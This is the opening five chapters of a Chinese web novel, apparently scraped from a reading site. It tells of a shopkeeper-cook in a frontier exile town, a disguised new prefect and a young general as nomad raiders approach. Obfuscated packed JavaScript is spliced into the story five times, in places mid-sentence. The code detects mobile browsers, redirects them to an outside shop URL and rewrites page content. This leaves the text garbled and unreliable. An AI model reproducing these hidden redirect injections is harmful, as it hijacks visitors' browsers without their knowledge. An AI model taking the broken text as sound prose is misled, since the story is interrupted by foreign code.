《我在古代流放地开卤味店》 1. 初入北境 承朔三年，北境。 芦苇倒伏，夹杂着被烧后的漆黑色。湖面结冰，覆盖了茫茫一层雪。 伴随着尖厉的寒风，雪道上传来马蹄厚重的嘚嘚声。 车夫头戴毡帽，手在冷风中被吹得僵硬，连蜷缩起来都费劲。 坐在车内的人也好不到哪里去。 毯子和皮革在极寒之地仿佛几层薄纸，一吹就透。炭火炉已经烧空了，暖水袋也变成了冰水袋。 “老爷，我的青天大老爷哎！您说您跟圣上犟什么？”管家一张口就呼出白气，“镇北府下辖四个县，哪个不是苦寒之地？” “您说您在这儿待个三年五载，身子骨可怎么受得了。再说留在京城的夫人和孩子们……” “好了好了，休要多提。前面似乎就要进城了。” 年过四旬的刘善渊刘老爷，镇北府新任知府，一言不合被圣上贬谪至此的大冤种，深深地叹了口气。 早知北境如此蛮荒艰苦，不如明哲保身，绝不多言。 如今也只能，既来之，则安之。 冰天雪地之下，版筑夯土城墙略显残破。它本身是用黏土和沙加上碎石填满的，但是不耐风雨侵蚀，也容易被敌人破坏。 莫说京城，就是稍微普通一些的府城，也早已是青砖砌墙。 此地竟如此落后，刘老爷的这颗心是凉了又凉。 也不知圣上现在消气了没有？若是托关系求求情…… “站住！来者何人？” 守城士兵穿着帛夹厚棉制成的戎服，足蹬厚底靴，手握硬木制的矛柄，粗如盈把，直愣愣地迎上前来。 小兵问话的嗓音洪亮，但眼神却充满了警惕，甚至还有一丝不易察觉的恐惧。 “吁——” 车夫遥遥地勒住了马绳，抬眼望去，城墙上已经有数十名卫兵正拉满了弓弦，蓄势待发。 冷风刮过，一排尖锥形的铜制矛尖寒光凌冽。 肃杀之气扑面而来。 “莫要动手，莫要动手！” 管家急得抱着通关文书就跳下马车，都说此地民风剽悍，看来不假。 踩过嘎吱作响的雪地，管家捧出了一行人的路引。 大梁律令：凡军民人等往来，但出百里者即验文引。 一张米黄色的纸，盖满了州押印、县押印，内容详尽，甚至包括马车一辆、驴车四辆、暂随十二人…… 就是这官老爷画像有点不一致。 小兵歪着脑袋打量了片刻，路引上笔绘的新任知府面圆无须，眼睛不大，一团和气。 面前的刘老爷，乍一看温文尔雅，乌发中夹杂着几缕银丝，但似乎瘦了些，颧骨都有些凸显了。 “哎，我家老爷自京城一路赶来，连病两场，眼看着身虚体弱……” 管家察言观色，心疼地唠叨着。 “多嘴。”刘善渊威严地摆了摆手，而后和善地看向面露疑惑的小兵，“这位军士，还有什么不明之处吗？” 倒也……没什么？ 只要来者不是乞颜乌什部落的游牧劫匪，大人物之间的事情，他也不懂。 面对刘善渊逐渐锐利的眼神，查验其余驴车后，小兵挥舞着黄色三角旗，颤巍巍地喊了一嗓子—— “开城门！” 沉重的城门栓被放下。 岁弊寒凶，雪虐风饕。 从京城远道而来的车马行人，踏着积雪，正式迈入镇北府城——传说中的大梁王朝流放地。 “见过新任知府大人！” 城防掌兵将叉手行礼，恭敬问好，“末将蔡淼，隶属边防北境第三军。” 一件破旧的铠甲满是冷兵器战斗的痕迹，身材高大魁梧，肤色黝黑。 这位蔡统领双手布满了老茧和疤痕，不容小觑。 “免礼，待去府衙验过鱼符，做好交接，再这么称呼也不迟。”刘善渊和蔼地笑道。 适才小兵汇报情况，蔡统领戒备的表情被他尽收眼底。 “可否上城楼一观？” “大人这边请。” 陡峭的城墙之上，夯土坚硬结实。 不待刘善渊仔细观察，鼻尖就先嗅到一股奇异混合的香气。 肉桂、八角、茴香……层层递进，相互交织。 寻味望去，士兵们守着一口柴火热锅，也好奇地打量着他们这群外来客。 锅里看起来似乎是热卤鸭货，花椒姜蒜俱全，色泽鲜亮，保准口味浓郁。 在这种极端天气下，能有一口热汤喝，简直求之不得。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712076|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “蔡统领，来几碗尝尝，我们老爷也体察一下民情，方便吗？”管家垂涎欲滴。 刘善渊暗中递去一个赞许的眼神。 “这、这，也行。”蔡淼心脏抽痛了一下，本月刚发例钱，大家集资才买了桂小娘子秘制热卤。 多大的官了，还截胡些许吃食，呸。 端起碗来，感受到的就是滚烫的温度，一股热气扑面而来，散发出呛人的鲜香麻辣味。 汤面上漂浮着零星几个鸭翅尖、鸭肠、鸭锁骨。 辛辣和烫舌交相辉映，热烈的感觉在口中不断蔓延，令味蕾陶醉其中。 一口下去，刘善渊舌头微麻，从嗓子眼到胃都暖洋洋的，感觉自己又活过来了。 这北境蛮荒艰苦又有何惧。 大丈夫立于天地之间，当行光明磊落之事！ “绝顶美味！”管家被辣得脸上热气蒸腾，“冬日驱寒，妙哉妙哉！” 大梁王朝国境宽广，风土人情各异。 伯阳山脉与楚淮河一带以南，气候温暖更适宜百姓农耕，满足口腹之欲不成问题。 越往北走，越是寒冷，一行人沿途不仅被冻得瑟瑟发抖，餐食也愈发不合口味。 没想到刚入中心府城就有惊喜。 “不知这是哪家酒楼的客餐？”刘善渊问道。 虽然当知府的俸禄不高，但偶尔打打牙祭还是可以的。 “巧了，就在大人的府邸旁，相距不过十丈。”黑铁般的肤色也盖不住蔡淼脸上的不情愿。 官大一级压死人。 蔡淼站在城墙上，跺了跺脚下的黄土和砂石：“门头上没有招牌，单悬着一个旗子——桂记卤味。” 话音刚落。 “快看，桂小娘子回城了！” 伴随着守城士兵真切的欢呼，刘善渊抬眼望去。 远处山坡，青蓝的天空和浅白色雪地交错，边界模糊起伏。 一位女子身着朱红色交领棉袍，袍面花纹鲜艳深沉，手腕处收紧的马蹄袖显得干净利落。 只见她手持一柄木杖，脚踏木板。 沿着蜿蜒曲折的雪道飞驰滑下，速度极快，溅起纷纷扬扬的冰雪碎片。 寒冬腊月，热烈张扬地冲进众人的视野里。 2. 桂记卤味 刘善渊着实有些惊讶。 观今鉴古，大梁王朝的礼教束缚相对较少。 拿京城来说，民间有女子招赘上门，官场也有少数女卿在翰林、史阁等地就职。 但多为名门望族家的女郎。 规矩森严，有板有眼。 像这么恣意不羁的小娘子，少见。 “这桂小娘子，何许人也？”刘善渊习惯性地抚了抚腰间吊坠，又不太自在地垂下手。 围炉取暖的众小兵见他没什么官架子，也纷纷应答。 “她是外来户，据说来镇北军营寻亲。” “咱们这儿，达奴人三番五次偷袭，打的仗不计其数。我猜她相公啊，早就战死了……” “可是，桂小娘子的武功好着呢！” 七嘴八舌，小娘子的身世依旧是个谜。 刘善渊也就随口一问，虽然举孝廉是时任长官的年终考核标准之一，但在北境，钱粮税收才是头等大事。 仓廪实而知礼节，温饱都解决不了，谁还在乎发掘人才这种小事。 可惜可惜。 作为新任知府，他最关心的还是边防稳定。 “回禀大人，岁末冬深物资匮乏，这边疆达奴人又以游牧为主，随时可能前来劫掠。” 谈及此事，蔡统领也是眉头紧皱。 “末将大胆预测，腊八将至，他们必定按耐不住要来侵扰一番。” 刘善渊掐指一算，新官上任第一要务：保命。 “我们在沿途驿站倒是听说，圣上钦点的金科武状元，镇北先锋少将军正在来的路上。” 管家适时插了一嘴。 “那希望这位武状元快马加鞭。”蔡淼眼神中透着一股若有似无的轻蔑，“不然拖到大寒封山，路可不好走。” 承朔三年，朝政委靡，痼疾积重难返。 能被流放到北境的文官武将，更是草包中的草包。 蔡淼不屑一顾。 他派出一队小兵护送刘善渊等人，穿过不甚繁华的街市，在府衙面前停步。 “这儿……能住人吗？” 管家搓搓冻得生疼的手，犹疑的声音都变了个调儿。 镇北府衙四个大字端端正正。 地点没错。 堂前鼓被随意地扔在雪地里。 破败的门板在冷风中一晃一晃的，发出吱嘎难听的动静。 穿过前院，正堂匾额上书的“明镜高悬”落了一层灰。 稀薄的晚霞透过格子窗洒出斑驳光影，肃穆的府衙内寂静无声。 “谁来了哦？要找知府大人去城东……” 刚睡醒还迷迷糊糊的老爷子，提着裘皮外套出现在众人面前。 “翁公，这是咱们镇北新任知府——刘善渊刘老爷。”带队小兵拱了拱手。 “又换人啦？”老翁打了个哈欠，操着一口浓重的北境口音，“三年换四个上官，嘿，越换越完蛋！” “哎呦，可不敢胡说！”带队小兵吓得一激灵，赶忙把老翁哄到一旁。 刘善渊和管家没大听明白，面面相觑。 大梁王朝地域辽阔，历来京官前往外地任职或巡视，方言沟通也是个大难题。 “大人容禀，咱们镇北府衙条件确实有些简陋。所以新来的知府们，基本都另辟新宅了……” 花开两朵，各表一枝。 且不提新任知府和幕僚随从们，如何面对这一穷二白的开局。 翌日，相距不过十丈的桂记卤味店，开张了。 桂枝儿在药鼎中添入适量的水，收起装有香料的纱布袋，一锅卤味制作进入尾声。 她神色沉静专注，手脚麻利。 冬季野味种类繁多，如同精灵一般潜伏在雪山中，北境给它们提供了良好的栖息环境。 作为一名专业庖厨，桂枝儿表示： 野山猪这么可爱，当然要做成卤肉了！ 她昨日上山收获颇丰，在水位变浅处掀开冰块，一只只雪眠蛤就趴在塘底的泥地上。 桂枝儿提起篓子，边捡边考虑怎么煎炒烹炸。 关上编制扣盖后，她闭目冥想了几秒，手中物品荡然无存。 现在，回到桂记卤味店内。 她起锅烧油，将辣椒斜切、姜切成丝、大蒜切片，用娴熟的刀工处理好雪眠蛤。 油温八成热，下锅煸香。 她颠两下大铁勺，加入辣椒翻炒断生，浓郁的气息已经从小店内逐渐飘出。 “哎呦，我来晚了，今天是什么菜色？” “牌子上写的是卤山猪肉，还有爆炒雪眠蛤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712077|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我都闻着香味儿了！” “拿回家再咪两盅酒，美死了。” 桂记卤味店，每逢五、逢十固定开业，其他时间看小娘子心情。 堂客两桌可预订，其余人就只能排队翘首以盼。 唯有一个例外——边防军。 大家都能理解，因为桂小娘子是来镇北军营寻亲的寡妇，总要跟军队打好关系。 桂枝儿摊开油纸，将金黄酥脆的小炒菜分装好，简单用细麻绳打个结，便可售卖了。 门外排队的人熙熙攘攘，她也不急。 砂锅内还有文火慢炖的素烩汤。 她打入一个鸡蛋，搅拌均匀，形成层层勾芡的蛋花。 “十五个铜板一份，每人限两份。” 桂枝儿掀开小窗口的帘子，声音清亮干脆。虽是老规矩，她依然在开卖前喊上那么一嗓子。 这一声充满烟火气，在呼啸的寒风中流淌出幸福感。 毕竟从古至今，民以食为天嘛。 “小娘子真是越长越水灵喽！这两样菜，给我各来一份。”蔡大娘从棉衣袖子里伸出手来，铜钱闪闪发亮。 她是桂记卤味店最忠实的客户。 不单为了这佳肴美馔，也为了桂枝儿这个人。 “您拿好，趁热吃。”桂枝儿笑容温婉。 她鼻梁挺直，眉毛略粗，显得英姿勃发。 但又恰有一双眸似秋水长天，清澈明亮，增添了几份古典美的韵味。 一头乌黑秀发盘成简洁的发髻，银簪点缀其中。 蔡大娘觉得，桂小娘子既会一手好厨艺，又有一身好武功。 自家那不成器的儿子虽是个城防掌兵将，但而立之年还孑然一身，就算当赘婿也是个好归宿。 对此，桂枝儿在心底无奈叹息： 红线可不能乱牵，令郎暗恋的是邀月楼花魁。 别看桂枝儿只开了一家卤味店，但她知道很多人的秘密。 就比如今天受邀前来的堂客——新任知府老爷。 他身形消瘦，眉宇间透露出一股书卷气，举止从容不迫。 桂枝儿只对视一眼便知，知府老爷头顶间杂着的的白发或许是真的，但额头眼角的皱纹可未必。 那是精心雕琢、力求自然的人皮易容。 3. 酒过三巡 隅中时分，日光渐盛。 桂记卤味店今日的两桌堂客被包圆了。 木质餐桌邻近一面火墙，背后是灶台里的柴禾和秸秆燃烧不止，发出噼里啪啦的声音。 像是沉睡的冬天，刚睁开惺忪的双眼。 “菜已上桌，二位大人里面请，有需要随时喊我。” 桂枝儿忙于应对排队的散客，只浅浅行了个万福礼。 化雪天，道路变得泥泞不堪，气温甚至比昨日还冷。 两位来客或许是乘坐马车，鞋履洁净，但依旧裹上了厚厚的棉袍。 刚一进店，温暖扑面而来。 “这设计当真巧妙，墙砌得薄，热气儿烘得这儿暖暖和和的。”刘善渊大为新奇。 “刘老弟将来可有口福了。”一位身着对襟圆领蓝袍的中年男子，抚掌笑道。 他嘴唇较厚，眼圈发黑。 和对面的刘善渊对比之下，气质差了不止一星半点。 马知府，因在派系斗争中站错队，以罪左黜。 据不完全统计，他和幕僚在镇北不到一年，总共吃了十二头肥猪、十二只山羊、一百零七只土鸡。 喝了三百三十六斤米酒，还睡了几个小寡妇，一事无成。 如今他的靠山又在政斗中翻身，通过积极运作，他也终于能扬长而去。 “恭贺大人擢升。”刘善渊缓缓将酒杯举至胸前，“还望进京后为小弟美言几句。” 官运嘛，就是此一时彼一时。 “好说好说，快尝尝这雪眠蛤。”马知府打了个哈哈。 刘善渊低头凝视，内心有一瞬间的抗拒。 盘中餐色泽红亮，能看出食材在热油锅中经过快速翻炒，肉质大约是紧实而有弹性的。 闻起来更是诱人，带有恰到好处的辛辣感。 但不论名字再文雅，它本质也是蛤蛙！ 这玩意儿皮肤粗糙，身体臃肿，说不好还有毒性，怎堪入口！ 昨儿个他刚觉得桂小娘子的热卤不错，比之京城翠园酒楼毫不逊色。 可这盘菜…… 罢了，政务交接还需要诸多配合，总不好拂了马知府的面子。 刘善渊屏住呼吸，视死如归地夹起一小块骨肉。 入口第一触觉是鲜嫩滑爽，他忍不住轻轻一嚼，汁香四溢。 咸香入味，没有丝毫其他肉类的干涩感。 刘善渊眼前一亮。 “如何？”马知府看戏一般，气定神闲地问道。 “店虽小，菜品不输翠园酒楼。”刘善渊保持原定评价。 “哈哈哈哈哈，刘老弟，才刚到北境就怀念京城了？”马知府抖抖眉，开起了玩笑。 被戳中心事，刘善渊尴尬地拿起木勺舀了一口汤。 这一尝，更加惊喜。 常规的素烩汤不过用一些新鲜蔬菜，白萝卜、冬瓜切块儿，木耳、豆腐切片，口感清淡。 桂记的汤底却格外有滋味，软烂清甜。 “虫草、枸杞……加上这些滋补食材，店家这么舍得下本钱，当真能维持经营吗？” 刘善渊颇为不解。 “薄利多销，大人喜欢就是小店的福分。”桂枝儿结束了零散售卖，前来添酒。 她施施然弯腰，修长的手指提起酒壶，轻松写意地向酒杯中倾倒。 桂枝儿的动作轻盈流畅，琥珀色的米酒在空中划出一道优雅弧线，最终坠落杯中。 水声叮咚，宛如一曲优美的乐章。 刘善渊点头回应，不再多言，唯有视线多停留了片刻。 一场隐蔽低调但不简陋的私人宴请，宾主尽欢。 刘善渊还想请教一些治下方策。 毕竟镇北府除去中心府城以外，下辖榆塞关、十二堡、龙沙镇、凌河县四个区域。 马知府眼神游移：“这、这个风土人情各异，刘老弟你接手后自然就懂了。” 桂枝儿在背后抿唇一笑。 要论马知府对政务的了解程度，那就只有： 拍脑袋决策，拍胸脯保证，拍屁股走人。 刘善渊对上她嘲弄的眼神，便也明白了几分，不再聊扫兴的话题，转而向马知府介绍起京城的最新动态。 酒过三巡，切入正题。 马知府整了整棉袍大袖，端坐起来，神态肃穆地挥挥手：“小娘子下去再添个菜吧。” “是。”桂枝儿知趣地起身离开。 桂记卤味店门口的牌子变成“今日售罄”。 厚重的棉布帘也被妥帖地放好，以抵御寒风侵袭。 小店内炉火熊熊，暖意融融，再也没有什么比这更适合谈私密话题的地方了。 “刘老弟当真是从京城来的？”马知府嗅了一口醇厚口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712078|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感的米酒，压低声音，在酸味中眯了眯眼。 “这……说出来大人可莫要检举我。”刘善渊惭愧低头，“沿途确实在楚淮一带逗留了几日。” 楚淮河多有文人骚客，更有十里烟花、勾栏瓦舍。 “呵。”马知府不满地放下杯，几滴酒溅到桌面，“刘老弟说笑了，你知道我想问的是什么。” 他神态阴沉，上下审视，仿佛适才的谈笑言欢都是假象。 “下官确实不知，还请大人明示。”刘善渊诚惶诚恐。 场面一时间有几分僵持。 新官上任，往往需携带半部“鱼符”，地方拿另外半部分与之勘验后，方可交接。 鱼符没问题。 路引，除了画像不太妥帖外，应当也没问题。 至于马知府，江阴会稽人，永靖十五年赐同进士出身后外放做官，不应当在京城见过刘善渊本人。 一切天衣无缝。 刘善渊抬眸，日光下的肤色渐趋苍白透明，仿佛能看见皮层后细微的血管，透出病态的脆弱。 他的视线越过马知府，透过木框架的格子窗。 小院的树旁隐蔽处藏着一个人，赫然是管家。 管家五指并拢，横在脖子前抹了一下。 刘善渊微微摇头。 “哈哈哈哈开个玩笑，老弟不要放在心上。”马知府面色回暖，“你从京城来，怎么不跟我提先锋少将军的事？” “您是说栾小将军……” 话题一转，双方依旧谈笑风生，气氛重归热烈融洽。 后厨，桂枝儿正用树枝拨弄着沉甸甸的橘子。 通过小火缓慢烤制，不断翻动，确保其受热均匀。 当橘子表面微微发黄，散发出焦糖般的诱人香气时，她拨开先尝了一个。 “好吃，加这道炙烤金橘，就收三十个铜板吧。” 她漫不经心地想着，自己绝对算不上奸商。 这收的可不只是两个橘子的钱，是明明能听见谈话却还要装聋作哑的精神损失费。 以及，任由管家在小院躲藏的好处费。 虽然大家都以为她看不见也听不懂。 是了，乱世将至。 文官执笔安天下，武将马上定乾坤。 而她，不过是一个小小卤味店的老板，来军营寻亲的可怜外乡女子罢了。 4. 不速之客 肴核既尽，杯盘狼籍。 桂枝儿熄灭柴火，灶台上方的烟囱慢慢平静下来。 她手持丝瓜瓤，用刻意留着的淘米水将碗碟清洗干净。 已是未时，阳光柔和而微弱。 她决定再上一次山，腊八将至，最好在传统养生粥里加点仙灵草。 “所谓的顶级美食，究竟有什么标准？” 桂枝儿敲了敲脑海里的系统，不出意外，依旧毫无回音。 她也不气馁，准备好登山木杖，将滑雪板系在身后，稳步向雪山进发。 北境梅山巍峨耸立，终年积雪。 山体十分陡峭，云雾缭绕其间，若隐若现，颇有几分神秘莫测的气息。 仙灵草就藏在裸露岩石的边缘。 它的菌盖呈半圆形，名字虽好听，颜色却只是普通的棕褐色，表面有白斑，边缘略微翘起。 作为珍贵药材，只在极寒地域存活。 补气养血、延年益寿，只需一铢的重量便能卖上一贯钱。 而桂枝儿打算用它来做腊八粥的配料。 任务进度已经卡在98％很久了，她必须另辟蹊径。 为避免损伤仙灵草的根部，桂枝儿拿出一个精巧的小木铲，围着边缘一丝不苟地清理雪土。 手指逐渐被冻得笨拙僵硬，需要时不时停下来哈口热气，揉搓一番。 突然，耳边传来隐约的异响。 “嘚嘚嘚，嘚嘚嘚。” 很有节奏感，定是一匹骏马，但又跑得不快。 不走官道，必有蹊跷。 桂枝儿足尖轻点纵身一跃，瞬间如一只灵巧的山雀栖在树上，枝头的积雪洒落些许。 她谨慎地躲在高处，观望前方。 茫茫雪原上，单骑奔驰。 只见一匹耐力十足的白驹，与一位少年郎。 男子不过弱冠稚龄，斜背着一杆红缨枪。 他的面容尚未褪去青涩，眉宇间却已显出坚韧之色，皎如玉树，身姿挺拔。 “吁——”少年安抚地拍了拍马儿的鬃毛，“怎么了雪影？” 他的声音很放松，但手背上青筋紧绷。 桂枝儿注意到，男子棉服已然破损，漏出内里的甲胄，枪尖还有一丝未擦净的血迹。 白马盘旋在原地，发出响亮有力的喷嚏声。 这是看见仙灵草不想走了？ 好不要脸。 桂枝儿居高临下，顺手捏了个雪球便砸过去。 “咴儿咴儿。” 细小的冰晶四散飞溅，被砸中的白马委屈地鸣叫起来。 “什么人？”少年怒喝一声，听声辨位，长枪精准地划向头顶树枝。 红缨颤动，快如雷霆。 桂枝儿见状有些心痒痒。 武林人士对切磋武艺的执着，是刻在骨子里的。 她一拧身，摸出登山杖，气势如虹地向下方横劈，似烈火燎原。 “铛！” 清脆的碰撞声后，两人俱是臂膀发麻。 “好枪！”桂枝儿赞叹一声。 枪杆是牛筋木覆上晒干的竹片，坚韧轻便。 这少年靠着腰腹的爆发力，直刺咽喉，力求一击必杀。 桂枝儿则向右侧开脖颈，身轻如燕。 她跳下树来，近身入怀，用登山杖捣向少年的膝盖。 俗话说枪扎一条线，棍扫一大片。 两人一个靠伸缩圈点的功底，一个靠捣劈猛击的神速。 在雪地上你来我往，煞是好看。 “你的眼睛……” 桂枝儿明显留有余力，还能闲聊一句。 少年不搭茬，他视线茫然，聚焦时而精准时而模糊，打法倒是狠辣，丝毫不留余地。 “停手！”桂枝儿皱眉，闪身避开他不要命的凶招。 “雪盲症，怕光，你再强行睁眼就会瞎掉。” 白茫茫的雪地对太阳光有极强的反射，眼睛长时间盯着，不仅泪流不止，还会有极大损伤。 这是北境原著民都懂的道理。 少年顿了一秒，即使眼睑红肿依然不肯松懈，部分睫毛沾了泪水已凝固为冰凌。 他化攻为守，依然紧握长枪。 “来者何人？” 桂枝儿后撤，将登山杖反手提于胸前。 她同样小心提防：“问别人之前，不应当先自报家门吗？” 寒风卷起一层薄雪，如同飘逸的纱巾，从两人中间溜走。 白马不安地原地踏蹄。 场面有些僵持。 少年闭了闭眼，拱手道：“某姓栾，有要事进中心府城，劳驾这位义士帮忙。” 语调平缓柔和，带着一丝示弱和恳求。 原来是他。 圣上钦点的金科武状元，镇北先锋少将军。 晌午听新旧两位知府谈话，还以为会是位膀大腰圆的壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712079|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉。 如此青葱少年，可不见得能收服边防军。 “少将军，你的部队呢？” 桂枝儿捡拾起地上遗留的仙灵草和挖掘工具，装作看不见白马明亮又渴求的眼睛。 这马儿识货还嘴馋。 “卫兵就在后方，我先行进城报备。” 栾霜柏讶异于桂枝儿一介女子能道破他的身份。 大梁为防武将拥兵自重，不断收缩军权。 一个少将军能带的不过几十名亲卫兵，等到了地方，直接率领本地屯军。 兵不识将，将不识兵。 所谓更戍制。 虽能避免将领专权，却也削弱了军队的战斗力和凝聚力。 “眼睛最好用蒙上，进城后开点草药洗一下，不可热敷。”桂枝儿耐心指点。 “多谢。”栾霜柏摸了摸白马的额头，“雪影，跟着这位姑娘走吧。” 姑娘，倒是不称呼义士了。 桂枝儿轻笑。 她在前方开路，尽量避开枝头结满的冰挂。 随着日光缓慢西沉，松木清香沁入心脾，冷空气渗入骨髓。 山林间，万籁俱寂。 唯有滑板摩擦雪面的刷刷声，与马蹄交织，增添了一分神秘和悠远。 “姑娘是府衙理事卿吗？”栾霜柏耐不住好奇，出声询问。 若是女官，必能得知最新的调令。 “不是。”桂枝儿眺望远方城墙上挑起的灯笼，笑着回复：“府衙旁有家桂记卤味店，我做的热卤，天下第一好吃。” 栾霜柏哑然，一时竟不知该怎么回复。 就在此时，异变陡生。 “隆隆隆，隆隆隆。” 沉重，庞杂，快速迫近。 远处野兽不断低吼，似乎惧怕着什么。 桂枝儿第一时间察觉，扭头死死地盯紧栾霜柏：“少将军，这是你的部队？” 她嘴角紧抿，神情严肃。 “姑娘见谅。”栾霜柏同样神色凝重，“大雪封山，怕违背军命，我是独自快马加鞭赶来的。” “沿途匪患严重，担心……适才没跟你说实话。” 栾霜柏坦率直言。 好消息是，北境有新将领了。 坏消息是，来的是个光杆司令。 更坏的消息是—— 两人对视一眼。 眼下这动静，恐怕是游牧劫匪的夜袭先遣队！ 5. 敌寇犯境 夜晚的梅山，似一位沉睡巨人。 天色一层层阴沉下来，繁星深邃，浅浅的天河不甚宽广，洒下柔和的光辉。 当下静谧被铁蹄声打断。 “你路过凌河县时，驻军有异动吗？” 桂枝儿顿感事态不妙，以北境的地理位置，中心府城相对安全。 乞颜乌什部落若想入侵，首选是突破凌河县的开阔平原，骑兵便可长驱直入。 而中心府城毗邻梅山制高点，翻越颇有难度。 “未曾听闻。”栾霜柏揉了揉眼角，随着黑夜到来，针扎一般的灼痛缓解了些许。 他扫了一眼不远处的城墙，当机立断。 “姑娘应当会骑马吧，你带雪影先回城报信。”他翻身下马，“先遣队人数不会太多，我想法子尽量拖延一段时间。” 桂枝儿伸出手背，让白马嗅了嗅。 建立信任后，她左脚踩入马镫，一跃而上。 桂枝儿回头看了一眼少年。 微弱的月光勉强勾勒出他的脸部轮廓，少年高耸的鼻梁在阴影中显得朦胧，俊朗清秀。 栾霜柏以为她害怕，安抚地笑了笑，眼眸灿若星辰。 “驾。”她低声轻呵，夹紧马腹。 现在不是磨叽的时候。 晚风吹过女子发髻散落下的碎发。 白马听懂了主人的托付，绷紧肌肉奔跑，汗水顺着鬃毛和脊背流淌。 快些，再快些。 古城墙壁蜿蜒，灯笼散发出微弱的橙黄色光芒，随风摇曳。 “都快到宵禁时间了，怎么还有人！” 小兵心脏揪紧，他服役不过半载，没见过什么大场面。 昨天刚迎来北境的新任知府老爷。 今天生怕又出什么幺蛾子。 “蔡统领可在？”桂枝儿遥遥地用内力传音，“达奴人翻越梅山过来了。” 小兵吓得脸色瞬间苍白如纸，双眼瞪大。 达奴人，吃人肉喝人血的达奴人，东北最凶残的游牧部落。 他知道自己应当上前核对来者身份，但恐惧感却像潮水一样涌来，将他淹没在原地。 “丁勇，还愣着干什么！”和他搭档的老兵恨铁不成钢，“进城回防！” 他们簇拥着快马赶来的桂枝儿，退回不太结实的版筑夯土城墙内。 铜号声响起，尖锐嘹亮。 三声过后，传讯的战鼓擂动，蔡统领身着锁子甲和头盔，沉稳地部署士兵站位。 “小娘子，消息可靠吗？”蔡淼黝黑的肤色看不出情绪，但声音里带了一丝紧迫。 “错不了，我在对桩石附近挖药材，往回走的路上听到的。”桂枝儿点头，“还有一位小兄弟愿意留下来拖延时间，借了我匹马。” 言语间，训练有素的主力弓箭手已经就位。 不仅一排排滚石蓄势待发，铁蒺藜也已经洒好，专门针对骑兵用以刺伤马脚，使其马失前蹄。 全军上下，躁动不安。 虽然隶属北境第三军，但他们只是城防兵。 小兵丁勇裹紧了自己的戎服，战战兢兢，握枪杆的手心浸满汗水。 心头发热，四肢反而冷起来。 “全城戒严，去请两位知府大人。” 蔡淼咬紧了牙：“再来几个旗牌兵，带着令牌趁现在出城，等会儿要是观察到交战，就去凌河县求援。” 他井井有条地安排下去。 军人本能的责任感支撑着他，更加清晰冷静。 中心府城辖区不大，但上万人口密集于此，说是北境最繁华的地带也不为过。 一旦敌军屠城，后果不堪设想。 “统领，刘知府来了。” 夜色渐浓，刘善渊身着朴素的直裾深衣，披着棉袍匆匆赶来。他虽走得快，但步伐依旧稳健。 只是脸色不太好，眉心紧皱。 “见过大人。”蔡淼再一次叉手行礼，对刘善渊高看几分。 “马知府呢？”见到城防兵进退有度，刘善渊态度也温和了些许。 “回禀大人，马知府他……”小兵满脸尴尬，吞吞吐吐。 蔡淼不耐烦地瞪了他一眼。 “马知府接到消息，让我告诉统领，他和府上理事卿们退守十二堡，给咱们提供什么，哦对，后方保障。” 高情商：先行后撤到十二堡布防。 低情商：跑了。 “呸，马腿子跑得真快！”愤恨咒骂的声音从人群里传出，在漆黑的夜色中看不清是谁。 听到最高长官未战先怯，小兵丁勇头有些发晕，两脚感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712080|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站得很酸，嘴里又干又涩。 乌云遮月，预兆不太好。 夜晚的寒风似鞭子般刮来，无情地抽打着一切。 此时，远处梅山传来阵阵马蹄声，众人情绪紧绷。 